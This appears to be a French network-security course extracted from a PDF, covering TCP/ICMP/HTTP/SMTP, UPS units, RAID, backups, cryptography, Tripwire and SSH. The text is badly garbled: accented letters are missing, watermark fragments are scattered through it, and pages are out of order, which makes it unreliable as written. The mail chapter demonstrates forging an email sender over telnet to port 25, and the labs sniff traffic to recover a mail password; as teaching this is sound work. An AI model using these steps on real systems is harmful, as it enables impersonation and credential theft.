SYN-SENT Attente de la rponse du destinataire aprs une demande de connexion. SYN-RECEIVED Attente de la conrmation de lacquiescement dune demande de connexion aprs avoir reu la demande de connexion et renvoy un premier acquiescement. ESTABLISHED Reprsente une connexion ouverte, prte transmettre et recevoir des donnes. FIN-WAIT-1 Attente dune demande de n de connexion du TCP distant. Ou un acquiescement de la demande de n de connexion pralablement envoy. FIN-WAIT-2 Attente dune demande de n de connexion du TCP distant. TIME-WAIT Attente dune dure sufsante pour tre sr que lhte TCP a reu lacquiescement de sa demande de n de connexion. CLOSE-WAIT Attente dune demande de n de connexion venant dun utilisateur local. CLOSING Attente de lacquiescement dune demande de n de connexion dun hte TCP. CLOSED Reprsente un tat o il ny a pas de connexion.
22
1. Tous les paquets fragments dun paquet original contiennent le mme numro didentication contenu dans len-tte IP du paquet original. 2. Un fragment est caractris par son OFFSET (la quantit de donnes du paquet original transmise avant celui-ci) indique sa position dans le paquet original. tant donn quaucune donne nest transmise avant le premier paquet fragment dun paquet original, son OFFSET est nul. 3. Un fragment est dni par son drapeau MF qui indique si ce fragment sera suivi par un autre fragment ou non. Ainsi pour le dernier fragment dun paquet original le drapeau MF nest pas dni. Sil est dni, MF = 1. Sil nest pas deni MF = 0.
oc um en ts
ICMP est un protcole permettant de transmettre des informations de contrle et de gestion du rseau. IP nest pas dans sa dnition stable, le but de ces messages de contrle est donc de pouvoir signaler lapparition dune erreur. Par contre, ICMP ne garantit pas que le datagramme soit achemin ni quun message de contrle soit retourn. Il sert notamment envoyer un ping ( echo request + echo reply ) mais peut aussi servir des uvres de malveillance ( mappage, attaque SMURF (section 23.3.3 page : 89)). Type Code (8 bits) (8 bits) Identication (16 bits) Somme de controle (16 bits) Numro de squence (16 bits)
ou sl
ic
en ce
Numro de port source (16 bits) Longueur en-tte UDP (16 bits)
FD
UDP est le protocole utilis par les applications dont le transport nexige pas une certaine abilit. Contrairement TCP il fonctionne en mode non connect ce qui le rend plus vulnrable que le TCP,car il na pas de numro de squence.
23
tranglement de la source
12
13
14 17 18 30
oc um en ts
Problme de paramtre
Requte dhorodatage
ou sl
Ces messages sont utiliss pour effectuer des tests au sein dun rseau ou dun sous-rseau.
ic
5 8 11
en ce
FD
Valeur 0 3
Description Rien de plus que la rponse un PING Il permet dtre inform que lhte avec lequel on dsire communiquer nest pas accessible. Cette rponse peut souvent viter une application de rester en attente dune rponse qui ne viendra pas. Principalement utiliss par les routeurs, ce signal permet dexpliquer un hte qui parle un peu trop quil faut quil se taise, parce quil inonde la le dattente. Information utile pour la mise jour des tables de routage. Question pose un hte par la commande PING. Un paquet est toujours mis avec une dure de vie. Cette dure de vie est dcrmente chaque nud qui traite le paquet (dune dure minimum dune seconde, ou du temps qua mis la paquet traverser le nud). Si le paquet arrive en n de vie, il est jet et un message ICPM de type 11 est envoy lmetteur. Cette proprit est utilise dans la commande "tracert" ("traceroute" sur Linux) pour calculer les temps daccs sur les diverses passerelles du chemin parcouru. Ce message indique quil y a une erreur dans le champ den-tte du paquet. Ce problme ne peut normalement arriver que dans le cas dun bug du logiciel. Assez similaire la requte dcho, avec en plus le marquage de lheure. Ce type dcho permet de connatre lheure darrive de la requte et lheure de dpart de la rponse sur lhte cible.
Chapitre 6
HTTP est un protocole en mode de lignes de caractres (ASCII). Comme nous le verrons, un simple telnet sur le port 80 permet de dialoguer avec un serveur Web.
GET : demande des informations et une zone de donnes concernant lURI. HEAD : demande pour obtenir des informations concernant lURI uniquement. POST :envoi de donnes (contenu du formulaire vers le serveur, ...). Ces donnes sont situes aprs lentte et un saut de ligne. PUT : enregistrement du corps de la requte lURI indiqu DELETE : suppression des donnes dsignes par lURI OPTIONS : demande des options de communication disponibles TRACE : retourne le corps de la requte intacte (dboguage)
oc um en ts
* connexion demande (GET) dun document renvoi du document (status=200) ou dune erreur dconnexion
ou sl
24
ic
en ce
FD
HTTP [10]
25
HTTP/<Version><Status><Commentaire Status> Content-Type : <Type MIME du contenu> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> <Champ dentte> : <Valeur> une ligne blanche Document Document
oc um en ts
ou sl
HTTP/1.1 200 OK Date : Tue, 26 Nov 2002 10 :13 :43 GMT Server : Apache/1.3.26 (Unix) Debian GNU/Linux Last-Modied : Fri, 22 Nov 2002 10 :48 :54 GMT ETag : "57c5d-f5-3dde0b96" Accept-Ranges : bytes Content-Length : 245 Connection : close <html> </html>
ic
en ce
<Mthode><URI>HTTP/<Version> [<Champs dentte> :<Valeur>] [<tab>Suite Valeur si > 1024>] ligne blanche [corps de la requte pour la mthode POST] GET /document.html HTTP/1.0 POST /script HTTP/1.0 Accept : www/source Accept : www/source Accept : text/html Accept : text/html Accept : image/gif Accept : image/gif User-Agent : Lynx/2.2 libwww/2.14 User-Agent : Lynx/2.2 libwww/2.14 From : groucho@marx.net From : groucho@marx.net une ligne blanche * Content-Length : 24 * une ligne blanche * name1=value1& name2=value2
FD
26
400-499 Requte client incomplte 400 : Bad Request 401 : Unauthorized 403 : Forbidden 404 : Not Found
6.5 HTTPS
S comme secure ... Le but de https est de scuriser les accs un service web an den prserver la condentialit.
Les accs des pages web se font laide du protocole http, en empruntant le rseau Internet. Aucune garantie de condentialit nest assure lors de ces accs ; il est relativement simple un pirate dintercepter vos requtes et les rponses faites par le serveur. En outre, vous navez pas une certitude absolue de consulter le site que vous croyez. Internet est maintenant utilis pour des applications de commerce lectronique, ou parfois pour accder des donnes condentielles soumises authentication (change de login - mot de passe). Il faut savoir que, dans ce cas, il nest pas trs difcile un pirate dintercepter ces informations condentielles, y compris votre mot de passe, et ainsi dusurper votre identit, voire rcuprer votre code de carte bleue. An de palier ces inconvnients, le protocole https peut tre mis en oeuvre. Dune manire trs schmatique, il permet dencapsuler et de crypter le trac http ; ainsi, il sera quasiment impossible un pirate qui intercepterait des accs des pages charges via le protocole https de dcrypter cet change, et donc de rcuprer des informations condentielles. En outre, https permet de sassurer que le serveur W3 auquel on accde est bien celui que lon croit.
6.5.1 Principe
oc um en ts
500 : Server Error 501 : Not Implemented 502 : Bad Gateway 503 : Out Of Resources (Service Unavailable)
ou sl
ic
en ce
FD
27
Les changes https sont crypts et dcrypts laide dun couple de cls informatiques qui sont propres un serveur W3 : La cl prive qui nest connue que de ce serveur La cl publique qui est connue du monde entier Le navigateur qui accde un serveur laide du protocole W3 doit rcuprer la cl publique de ce serveur ; celle-ci lui est transmise depuis le serveur W3, encapsule dans un certicat X509 (chier informatique). Ce certicat contient donc la cl publique du serveur, valide ("signe") par un organisme reconnu, appel autorit de certication (CA).
Connecter vous en telnet sur le port 80 (sous Putty, utiliser le mode raw de la machine indique par linstructeur. telnet lampion 80 GET /index.html HTTP/1.0 <Retour Chariot>
6.6.2 HTTPS
Connectez vous la version non scurise de la page Web http ://.../secure.html Connectez vous la version scurise de la page Web https ://.../secure.html Utilisez votre sniffer, comparez ...
1 Public Key Infrastructure. Ensemble de techniques, organisations, procdures et pratiques qui dnissent limplmentation et lexploitation de certicat numriques bass sur la cryptographie cls publiques (Yannick Quenechdu - www.idealx.com)
oc um en ts
ou sl
ic
en ce
Phase 1 Authentication du serveur et/ou du client par PKI1 . Phase 2 Chiffrage avec une cl (secrte) symtrique de session Phase 2bis Reprise aprs dconnexion
FD
6.5.2 Fonctionnement
28
oc um en ts
<h1>Scurit des rseaux</h1> <a href="mozilla.html">Mozilla</a><BR> <a href="ie5.html">Internet Explorer</a><BR> <a href="cgi.html">CGI</a><BR>
ou sl
HTTP/1.1 200 OK Date: Tue, 26 Nov 2002 10:13:43 GMT Server: Apache/1.3.26 (Unix) Debian GNU/Linux Last-Modified: Fri, 22 Nov 2002 10:48:54 GMT ETag: "57c5d-f5-3dde0b96" Accept-Ranges: bytes Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1
ic
en ce
FD
Trying 127.0.0.1... Connected to lampion. Escape character is ^]. GET /index.html HTTP/1.0
Chapitre 7
Voil le courrier a t envoy de eric vers fred sur la machine locale (localhost). Bien sr ceci peut se faire dune machine sur une autre et sur les machines du Net. Regardons le courrier de Fred maintenant. login: eric passwd: **** Vous avez reu un message ... aucun moment un mot de passe na t demand, il est donc possible denvoyer des messages venant de nimporte qui vers nimporte qui, ce que lon appelle une usurpation dadresse mail. Ceci est vrai sur les serveurs SMTP non scuriss, sur les autres serveurs, ladresse de lexpditeur est contrl, vous ne pouvez donc pas indiqu nimporte quel expditeur. Cette faille est lune des explications de lorigine du spam.
oc um en ts
telnet localhost 25 220 lampion ESMTP Postfix (Debian/GNU) mail from: zorro@localhost 250 Ok rcpt to: eric@localhost 250 Ok data Bonjour Eric, je signe dun Z qui veut dire Zorro Z . quit
ou sl
29
Nous allons implmenter le protocole SMTP de manire littrale en utilisant une connexion telnet sur le serveur SMTP (port 25).
ic
en ce
Nous allons voir que lenvoi et la rception de mail nest pas scurise du fait mme du protocole utilis. Pour cel, nous allons utiliser une machine Linux qui par dfaut peut envoyer / recevoir des messages entre utilisateurs.
FD
CHAPITRE 7. MAIL
30
Sous Putty, il est ncessaire dutiliser le mode raw. En utilisant les comptes stage1 stage6, aidez vous des sessions dcrites prcdemment pour envoyer un message et le lire. Nous allons maintenant montrer que le protocole utilis est le mme pour un client mail Windows, congurez Outlook Express pour quil charge (POP3) les messages sur lun des comptes stageX. Une fois le protocole de test mis au point, refaire la mme manipulation en sniffant les trames sortantes du logiciel Outlook Express. Reprez le mot de passe.
oc um en ts
ou sl
ic
en ce
FD
Chapitre 8
oc um en ts
ou sl
31
ic
en ce
Les connaissances de bases sur les rseaux acquises, il nous est possible maintenant de voir comment stopper les sniffer. Par la suite nous dcouvrirons que cest lanalyse pousse des protocoles rseaux qui permet dattaquer et de protger un serveur.
FD
Conclusion
oc um en ts
ou sl
32
ic
en ce
Troisime partie
FD
Chapitre 9
9.1 En bref
Le rle premier dun onduleur est de protger votre ordinateur des variations et interruptions de tension. En effet, suivant votre lieu de rsidence, les coupures (ou micro-coupures) dlectricit, les baisses de tension ou les surtensions sont plus ou moins frquentes. Ces dfauts de tension entranent larrt ou le redmarrage soudain de votre machine et de ses priphriques. Ceci a pour consquence de vous faire perdre les travaux en cours non sauvegards et peut parfois terme endommager votre matriel informatique. Que vous habitiez une rgion un peu recule o la tension secteur fournie nest pas toujours exempte de dfaut et/ou que vous vouliez protger votre matriel informatique ainsi que vos donnes cest dire tre sur de ne pas tre interrompu pendant votre travail, linvestissement reste plutt raisonnable, mme pour un particulier, surtout si on le relativise lachat dun ordinateur complet. La plupart des onduleurs actuels incluent des systmes de protection contre la foudre et les surtensions lies : il faut savoir que mme si ces systmes ne sont pas totalement inefcaces, ils ne protgent pas rigoureusement et 100% votre matriel de ce phnomne, contrairement ce que lappellation semble indiquer. En effet, la foudre reste un phnomne difcilement quantiable et mal matris. Dautre part, noubliez pas que si vous tes sur Internet, la foudre peut frapper les lignes tlphoniques et la surtension lie dtruira au moins votre modem si pas en plus dautres composants dans votre PC : tout ceci pour dire quautant viter de se servir de son PC par temps trs orageux, onduleur ou pas.
oc um en ts
ou sl
33
La puissance de londuleur : exprime en VA (ou KVA) elle conditionnera la capacit de londuleur alimenter votre quipement en cas de coupure secteur. Gnralement on conseille dappliquer un facteur 1,4 1,5 : pour un PC consommant au total 300W rels prvoir un onduleur de 420W ou plus est idal. Le type : pour un particulier un classique modle "off-line" sera gnralement appropri. Si vous avez trs frquemment et longuement des perturbations lectriques du type baisses de tension un modle "line-interactive" sera un plus. Enn, si vous souhaitez avoir une scurit lectrique maximale vous opterez pour un modle "on-line". La marque : parmi les plus connues citons APC, MGE (Merlin Gerin - UPS), Best Power et Liebert.
ic
en ce
FD
Onduleur[6]
CHAPITRE 9. ONDULEUR[?]
34
oc um en ts
ou sl
ic
en ce
FD
CHAPITRE 9. ONDULEUR[?]
Elment PC classique sans cran (UC) Ecran LCD 17 " Ecran LCD 19 " Ecran 17 " Ecran 19 " Ecran 21 " Imprimante jet dencre classique Imprimante laser Puissances approximatives prvoir (pour un fonctionnement en autonomie) 150-300 VA 40 VA 60 VA 180 VA 250 VA 300 VA 80 VA 1000 VA
35
Cette FAQ est constitue partir de vos questions les plus frquentes, telles que releves sur le forum. Avant de poser votre question sur le forum, merci de vrier quelle ne gure pas dans cette FAQ.
Vu le fonctionnement dun portable, un onduleur nest pas ncessaire pour se protger des coupures de courant. Il reste utile pour protger le transformateur externe du portable des surtensions mais un parasurtenseur pourra assurer cette fonction moindre cot.
9.5.3 VA et Watts ?
Pourquoi les constructeurs donnent la puissance maximale de leurs produits en KVA (Kilo Volt Ampre) et pas en KWatts ? Quelle diffrence entre VA et Watts ? La puissance en watts (P) est donne par la formule P = VI cos(j) dans laquelle j reprsente langle de dphasage entre la tension et lintensit. Ce cosinus(j) (encore appel facteur de puissance) tant toujours infrieur 1, la puissance relle dlivre sera donc toujours infrieure la valeur calcule en multipliant simplement la tension par lintensit. Cet angle de dphasage est difcile mesurer et varie mme en fonction des quipements connects do le fait que les constructeurs utilisent plutt les VA. En pratique ceci explique pourquoi il est gnralement ncessaire de diviser par 1,4 1,5 la valeur en KVA pour obtenir la valeur en KWatts utilisables.
oc um en ts
ou sl
Parfois aussi appels couramment "parafoudres", ces derniers sont moins chers que les onduleurs et protgeront votre matriel des surtensions comme lindique leur nom sans pour autant assurer le relais en cas de coupure dalimentation secteur (votre ordinateur steindra ou redmarrera alors et les donnes en cours non sauvegardes seront perdues). Nanmoins, ils prsentent lavantage de permettre de protger tout votre quipement (priphriques compris) du phnomne le plus dangereux pour leur dure de vie : les surtensions.
ic
en ce
FD
9.5 FAQ
Chapitre 10
Niveau 1 : appel mirroring,shadowing ou duplexing Niveau 2 : appel striping with parity (obsolte) Niveau 3 : appel disk array with bit-interleaved data Niveau 4 : appel disk array with block-interleaved data Niveau 5 : appel disk array with block-interleaved distributed parity Chacun de ces niveaux constitue un mode dutilisation de la grappe, en fonction : des performances du cot des accs disques Niveau 6 : appel disk array with block-interleaved distributed parity
10.1 Niveau 0
Le niveau RAID-0, appel striping (traduisez entrelacement ou aggrgat par bande, parfois injustement appel stripping) consiste stocker les donnes en les rpartissant sur lensemble des disques de la grappe. De cette faon, il ny a pas de redondance, on ne peut donc pas parler de tolrance aux pannes. En effet en cas de dfaillance de lun des disques, lintgralit des donnes rparties sur les disques sera perdue. Toutefois, tant donn que chaque disque de la grappe a son propre contrleur, cela constitue une solution offrant une vitesse de transfert leve. 36
oc um en ts
La technologie RAID (acronyme de Redundant Array of Inexpensive Disks, parfois Redundant Array of Independent Disks, traduisez Ensemble redondant de disques indpendants) permet de constituer une unit de stockage partir de plusieurs disques durs. Lunit ainsi cre (appele grappe) a donc une grande tolrance aux pannes (haute disponibilit), ou bien une plus grande capacit/vitesse dcriture. La rpartition des donnes sur plusieurs disques durs permet donc den augmenter la scurit et de abiliser les services associs. Cette technologie a t mise au point en 1987 par trois chercheurs (Patterson, Gibson et Katz) lUniversit de Californie (Berkeley). Depuis 1992 cest le RAID Advisory Board qui gre ces spcications. Elle consiste constituer un disque de grosse capacit (donc coteux) laide de plus petits disques peu onreux (cest--dire dont le MTBF, Mean Time Between Failure, soit le temps moyen entre deux pannes, est faible). Les disques assembls selon la technologie RAID peuvent tre utiliss de diffrentes faons, appeles Niveaux RAID. LUniversit de Californie en a dni 5, auxquels ont t ajouts les niveaux 0 et 6. Chacun dentre-eux dcrit la manire de laquelle les donnes sont rparties sur les disques :
ou sl
ic
en ce
FD
37
Le RAID 0 consiste ainsi en la juxtaposition logique (agrgation) de plusieurs disques durs physiques. En mode RAID-0 les donnes sont crites par "bandes" (en anglais stripes) : Disque 1 Bande 1 Bande 4 Bande 7 Disque 2 Bande 2 Bande 5 Bande 8 Disque 3 Bande 3 Bande 6 Bande 9
TAB . 10.1 RAID 0 On parle de facteur dentrelacement pour caractriser la taille relative des fragments (bandes) stocks sur chaque unit physique. Le dbit de transfert moyen dpend de ce facteur (plus petite est chaque bande, meilleur est le dbit). Si un des lements de la grappe est plus grand que les autres, le systme de remplissage par bande se trouvera bloqu lorsque le plus petit des disques sera rempli. La taille nale est ainsi gale au double de la capacit du plus petit des deux disques : deux disques de 20 Go donneront un disque logique de 40 Go. un disque de 10 Go utilis conjointement avec un disque de 27 Go permettra dobtenir un disque logique de 20 Go (17 Go du second disque seront alors inutiliss). Il est recommand dutiliser des disques de mme taille pour faire du RAID-0 car dans le cas contraire le disque de plus grande capacit ne sera pas pleinement exploit.
10.2 Niveau 1
Le niveau 1 a pour but de dupliquer linformation stocker sur plusieurs disques, on parle donc de mirroring, ou shadowing pour dsigner ce procd. Disque 1 Bande 1 Bande 2 Bande 3 Disque 2 Bande 1 Bande 2 Bande 3
On obtient ainsi une plus grande scurit des donnes, car si lun des disques tombe en panne, les donnes sont sauvegardes sur lautre. Dautre part, la lecture peut tre beaucoup plus rapide lorsque les deux disques sont en fonctionnement. Enn, tant donn que chaque disque possde son propre contrleur, le serveur peut continuer fonctionner mme lorsque lun des disques tombe en panne, au mme titre quun camion pourra continuer rouler si un de ses pneus crve, car il en a plusieurs sur chaque essieu... En contrepartie la technologie RAID1 est trs onreuse tant donn que seule la moiti de la capacit de stockage nest effectivement utilise.
10.3 Niveau 2
Le niveau RAID-2 est dsormais obsolte, car il propose un contrle derreur par code de Hamming (codes ECC - Error Correction Code), or ce dernier est dsormais directement intgr dans les contrleurs de disques durs.
oc um en ts
ou sl
ic
en ce
FD
38
Cette technologie consiste stocker les donnes selon le mme principe quavec le RAID-0 mais en crivant sur une unit distincte les bits de contrle ECC (gnralement 3 disques ECC sont utiliss pour 4 disques de donnes) . La technologie RAID 2 offre de pitres performances mais un niveau de scurit lev.
10.4 Niveau 3
Le niveau 3 propose de stocker les donnes sous forme doctets sur chaque disque et de ddier un des disques au stockage dun bit de parit. Disque 1 Octet 1 Octet 4 Octet 7 Disque 2 Octet 2 Octet 5 Octet 8 Disque 3 Octet 3 Octet 6 Octet 9 Disque4 Parit 1+2+3 Parit 4+5+6 Parit 7+8+9
10.5 Niveau 4
oc um en ts
Le niveau 4 est trs proche du niveau 3. La diffrence se trouve au niveau de la parit, qui est faite sur un secteur (appel bloc) et non au niveau du bit, et qui est stocke sur un disque ddi. Cest--dire plus prcisment que la valeur du facteur dentrelacement est diffrente par rapport au RAID 3. Disque 1 Bloc 1 Bloc 4 Bloc 7 Disque 2 Bloc 2 Bloc 5 Bloc 8 Disque 3 Bloc 3 Bloc 6 Bloc 9 Disque4 Parit 1+2+3 Parit 4+5+6 Parit 7+8+9
Ainsi, pour lire un nombre de blocs rduits, le systme na pas accder de multiples lecteurs physiques, mais uniquement ceux sur lesquels les donnes sont effectivement stockes. En contrepartie le disque hbergeant les donnes de contrle doit avoir un temps daccs gal la somme des temps daccs des autres disques pour ne pas limiter les performances de lensemble.
10.6 Niveau 5
Le niveau 5 est similaire au niveau 4, cest--dire que la parit est calcule au niveau dun secteur, mais rpartie sur lensemble des disques de la grappe. De cette faon, RAID 5 amliore grandement laccs aux donnes (aussi bien en lecture quen criture) car laccs aux bits de parits est rparti sur les diffrents disques de la grappe.
ou sl
De cette manire, si lun des disques venait dfaillir, il serait possible de reconstituer linformation partir des autres disques. Aprs "reconstitution" le contenu du disque dfaillant est de nouveau intgre. Par contre, si deux disques venaient tomber en panne simultanment, il serait alors impossible de remdier la perte de donnes.
ic
en ce
FD
39
TAB . 10.5 RAID 5 Le mode RAID-5 permet dobtenir des performances trs proches de celles obtenues en RAID-0, tout en assurant une tolrance aux pannes leves, cest la raison pour laquelle cest un des modes RAID les plus intressant en terme de performance et de abilit. Lespace disque utile sur une grappe de n disques tant gal n-1 disques, il est intressant davoir un grand nombre de disques pour "rentabiliser" le RAID-5.
10.7 Niveau 6
Le niveau 6 a t ajout aux niveaux dnis par Berkeley. Il dnit lutilisation de 2 fonctions de parit, et donc leur stockage sur deux disques ddis. Ce niveau permet ainsi dassurer la redondance en cas davarie simultane de deux disques. Cela signie quil faut au moins 4 disques pour mettre en oeuvre un systme RAID-6.
Les solutions RAID gnralement retenues sont le RAID de niveau 1 et le RAID de niveau 5. Le choix dune solution RAID est li trois critres : la scurit : RAID 1 et 5 offrent tous les deux un niveau de scurit lev, toutefois la mthode de reconstruction des disques varie entre les deux solutions. En cas de panne du systme, RAID 5 reconstruit le disque manquant partir des informations stockes sur les autres disques, tandis que RAID 1 opre une copie disque disque. Les performances : RAID 1 offre de meilleures performances que RAID 5 en lecture, mais souffre lors dimportantes oprations dcriture Le cot : le cot est directement li la capacit de stockage devant tre mise en oeuvre pour avoir une certaine capacit effective. La solution RAID 5 offre un volume utile reprsentant 80 90% du volume allou (le reste servant videmment au contrle derreur). La solution RAID 1 noffre par contre quun volume disponible reprsentant 50 % du volume total (tant donn que les informations sont dupliques).
oc um en ts
ou sl
10.8 Comparaison
ic
en ce
FD
Chapitre 11
La sauvegarde consiste enregistrer les donnes vitales sur un support gnralement autre que le(s) disque(s) se trouvant lintrieur de lordinateur. Elle se fait principalement sur des units amovibles telles que disquette ZIP, support CDROM, bande DAT ou cassette DLT. la disquette ZIP dont la capacit est de 100 250Mo, convient pour les petites sauvegardes de petits chiers et surtout pour le transfert de chiers, le CDROM une capacit de 650 800Mo. Son usage est le mme que celui du ZIP. La qualit de la sauvegarde est suprieure et le risque de dmagntisation nexiste pas, la bande DAT une capacit de stockage plus grande et permet la sauvegarde complte dun systme informatique. Elle est destine un usage professionnel. Le dbit moyen dun systme DAT est relativement faible, et se traduit par des sauvegardes qui peuvent durer plusieurs heures. La sauvegarde se fait gnralement la nuit, le systme DLT est la technologie de sauvegarde la plus rapide. En plus les cassettes sont plus rsistantes que les bandes DAT. Ce systme est plus cher, mais ces performances sont meilleures.
oc um en ts
Un systme dinformation mme able et rcent nest jamais labri dune dfaillance matrielle ou logicielle, dune erreur humaine, dun acte de malveillance, dune infection virale, dune panne de courant, dun vol, dun sinistre (incendie, dgt des eaux, foudre, . . .), etc. Le destin du systme est de tomber en panne. Ce nest quune question de temps. Le problme de la restauration des donnes se pose toujours aprs rparation du systme. Ceci montre limportance qui doit tre accorde la sauvegarde des donnes. An de limiter les risques, tout doit tre mis en uvre pour viter la perte des donnes et garantir leur disponibilit et leur intgrit, en tablissant une procdure systmatique de sauvegarde. Il est primordial de ne pas sous-estimer limportance des donnes des utilisateurs et de garder lesprit les consquences lies leur disparition. Les rgles lmentaires de scurit informatique imposent llaboration dune stratgie de sauvegarde. Celle-ci ncessite une planication allant de la slection du matriel de sauvegarde la dtermination du schma de sauvegarde.
ou sl
ic
en ce
FD
41
Les sauvegardes doivent tre ralises rgulirement en fonction de rgles pr-tablies : sassurer de la validit des procdures de sauvegarde, vrier que les procdures de restauration ont t testes, contrler priodiquement la validit des oprations par des restitutions de chiers en " vraie grandeur ", ne jamais stocker dans la mme pice les serveurs et les copies de sauvegardes, les copies de sauvegarde doivent tre ranges dans un coffre, sinon loin de tout objet de convoitise et ncessairement dans un lieu loin de la pice o se trouvent les serveurs, disposer au moins des deux dernires sauvegardes, tiqueter soigneusement les mdias avant de les introduire dans le lecteur enregistreur, puis glisser la languette de protection contre lcriture immdiatement la sortie du mdia, prfrer les sauvegardes automatiques date xe aux oprations manuelles.
oc um en ts
ou sl
Dans le cas de donnes sensibles, les sauvegardes seront gnralement planies de la manire suivante : une sauvegarde totale par jour (du lundi au jeudi), conserve 1 semaine, une sauvegarde totale le vendredi, conserve 2 semaines, une sauvegarde totale la n du mois, conserve 1 an, une sauvegarde totale annuelle mettre labri pour archivage. Les bandes journalires sont rutilises la semaine suivante et celle du vendredi est rutilise deux semaines aprs. Les bandes mensuelles sont rutilises danne en anne.
ic
en ce
FD
oc um en ts
ou sl
42
ic
Cryptage et application
en ce
Quatrime partie
FD
Chapitre 12
oc um en ts
ou sl
43
ic
Les trames circulant sur un rseau public ou priv sont autant de lignes de lectures disponibles un utilisateur de passage ayant quelques connaissances en informatique. En restant sur ce principe, il serait impossible de faire des transactions bancaires, il nous faut donc crypter les donnes. Ce cryptage peut tre ffectu notamment grce au protocole SSH dans le cas dune maintenance distance. Par extension de ce protocole, IPSec (entre autre) a permis une entreprise de voir le rseau de ses agences grce la mise en place de rseau priv virtuel qui traverse lInternet de faon crypt.
en ce
FD
Introduction
Chapitre 13
13.1 A FAIRE : Description dun algorithme de compression 13.2 Vrication dintgrit (Fonction de hachage)
Utilisation : Recalculer le rsum an de le comparer avec loriginal (en gnral donn sur le site Web).
oc um en ts
A laide dune fonction mathmatique dite de hachage (non bijective), le texte va tre lu dans son intgralit an den sortir un rsum. Les proprits de cette fonction de hachage sont : impossibilit de retrouver le texte partir du rsum (fonction sens unique) impossibilit de trouver deux textes ayant le mme rsum Les algorithmes standards utiliss pour raliser ce rsum sont : MD5 (Rivest) : rsum de 128 bits sur un texte de longueur quelconque. SHA (Secure Hash Algorithm) : rsum de 160 bits sur un texte de longueur quelconque.
ou sl
44
ic
en ce
Le but de la cryptographie est de garantir la condentialit, lintgrit des donnes et lauthentication de lmetteur des messages. Pour cel, nous disposons de : fonctions de vrication dintgrit an de garantir la non modication des donnes. signatures digitales an de garantir lidentit du signataire. chiffrement pour transformer un texte intelligible (aussi appel texte clair) en texte chiffr incomprhensible.
FD
Bases de cryptographie
45
Toutes les donnes envoyes au loopback sont crites chiffres dans la partition. Lors dune lecture dans le loopback, les donnes correspondantes sont lues dans la partition et dchiffres en mmoire. Notes : Les fonctionnalits de chiffrement de Linux ne sont pas incluses dans les distributions standard. Des patchs ofciels sont disponibles pour ajouter ces fonctions aux sources du noyau. Ces patchs sont hbergs sur le site http ://www.kerneli.org/ Les commandes losetup, mount et umount doivent tre patches pour supporter ces fonctionnalits. Les patchs ncessaires sont fournis avec les patchs des sources du noyau. Un chier peut tre associ un loopback. Cela permet : De crer de petites partitions chiffres qui peuvent tre montes seulement lorsquelles sont ncessaires. De sauvegarder de faon scurise une partition vers un chier chiffr.
13.3.3 Exemples
oc um en ts
ALGO=XOR dd if=/dev/urandom of=/var/fic bs=1k count=100 losetup -e $ALGO /dev/loop0 /var/fic Password: mkfs -t ext2 /dev/loop0 mkdir /mnt/crypt mount -t ext2 /dev/loop0 /mnt/crypt .. .. umount /dev/loop0 losetup -d /dev/loop0
ou sl
Deux algorithmes ont t implments pour chiffrer des partitions : CAST-128, utilis en mode ECB CAST 128 est dni dans le RFC 2144 http://www.ietf.org/rfc/rfc2144.txt Une variante : CAST 256, voir http ://www.entrust.com Twosh est un "Cipher 128 bits utilis en mode CBC". http://www.counterpane.com/twofish.html Une option permet dutiliser en mode CBC nimporte lequel des sept algorithmes prsents dans la bibliothque pour chiffrer une partition. Blowsh, DES, DFC, IDEA, MARS, RC6 et Serpent.
ic
en ce
13.3.2 Algorithmes
FD
46
oc um en ts
ou sl
ic
en ce
FD
Chapitre 14
14.1 A propos
14.1.1 Mots cls
tripwire vrication dintgrit
Tripwire permet de vrier lintgrit des chiers sur un systme donn. Tripwire utilise un chier de rgles pour dterminer quels sont les chiers dont lintgrit est vri.
Excuter le chier twinstall.sh : ./twinstall.sh On vous demande alors une passphrase (saisie conrmer) pour le : site key : elle permettra dencrypter le chier de police de tripwire. local key : elle permettra dencrypter le chier de conguration de tripwire. Les cls ainsi cres sont stockes dans le rpertoire /etc/tripwire/. Le message suivant apparat :
oc um en ts
ou sl
47
14.2 Introduction
ic
en ce
FD
Tripwire
48
An quun hacker ne puisse pas voir les chiers de conguration et de police, supprimer les : Rponse : .
rm twpol.txt twcfg.txt
Vous avez supprimer vos chiers de conguration. Il vous est possible de les restaurer grce aux commandes suivantes :
twadmin --print-polfile > twpol.txt Il vous est possible maintenant de modier les polices ou la conguration de Tripwire
oc um en ts
ou sl
ic
en ce
FD
Les chiers de police et les chiers de conguration ont t encrypts de manire ce quil ne soient plus lisibles par un hacker. Cependant, pour linstant ceux-ci sont lisibles de manire pouvoir les analyser.
49
Rinitialiser la base avec le rapport ainsi gnr Rponse : tripwire --update -r /var/lib/tripwire/report/rapport.twr
Ajouter une rgle sur le chier /etc/shadow Rponse : Insrer /etc/shadow dans les r`gles (mme niveau que /etc/passwd) e e e
oc um en ts
ou sl
ic
en ce
FD
Chapitre 15
SSH (ou Secure SHell) est un protocole servant crer une connexion scurise entre deux systmes. Grce SSH, un ordinateur client peut initier une connexion avec un ordinateur serveur et proter des mesures de scurit suivantes : Aprs avoir effectu une connexion initiale, le client peut sassurer de se connecter au mme serveur lors des sessions suivantes. Le client peut transmettre ses donnes dauthentication au serveur, telles que son nom dutilisateur et son mot de passe, en format crypt. Toutes les donnes envoyes et reues pendant la connexion sont transfres de faon chiffre, ce qui les rend extrmement difciles dchiffrer et lire. Un serveur peut aussi tirer parti du protocole SSH, particulirement sil excute de nombreux services. Si vous utilisez la retransmission de port (port forwarding), des protocoles normalement non scuriss (comme POP par exemple) peuvent tre chiffrs et envoys en toute scurit des ordinateurs distants. Il est relativement facile avec SSH de crypter diffrents types dinformations changes lors des communications qui sont habituellement envoyes de manire non scurise sur les rseaux publics. OpenSSH ncessite OpenSSL (openssl) qui installe de nombreuses bibliothques cryptographiques importantes qui aident OpenSSH chiffrer les communications. Un grand nombre de programmes client et serveur peuvent utiliser le protocole SSH, dont de nombreuses applications sources ouvertes et disponibles gratuitement. Il existe plusieurs versions de clients SSH pour les principaux systmes dexploitation utiliss aujourdhui.
oc um en ts
15.1 Introduction
ou sl
50
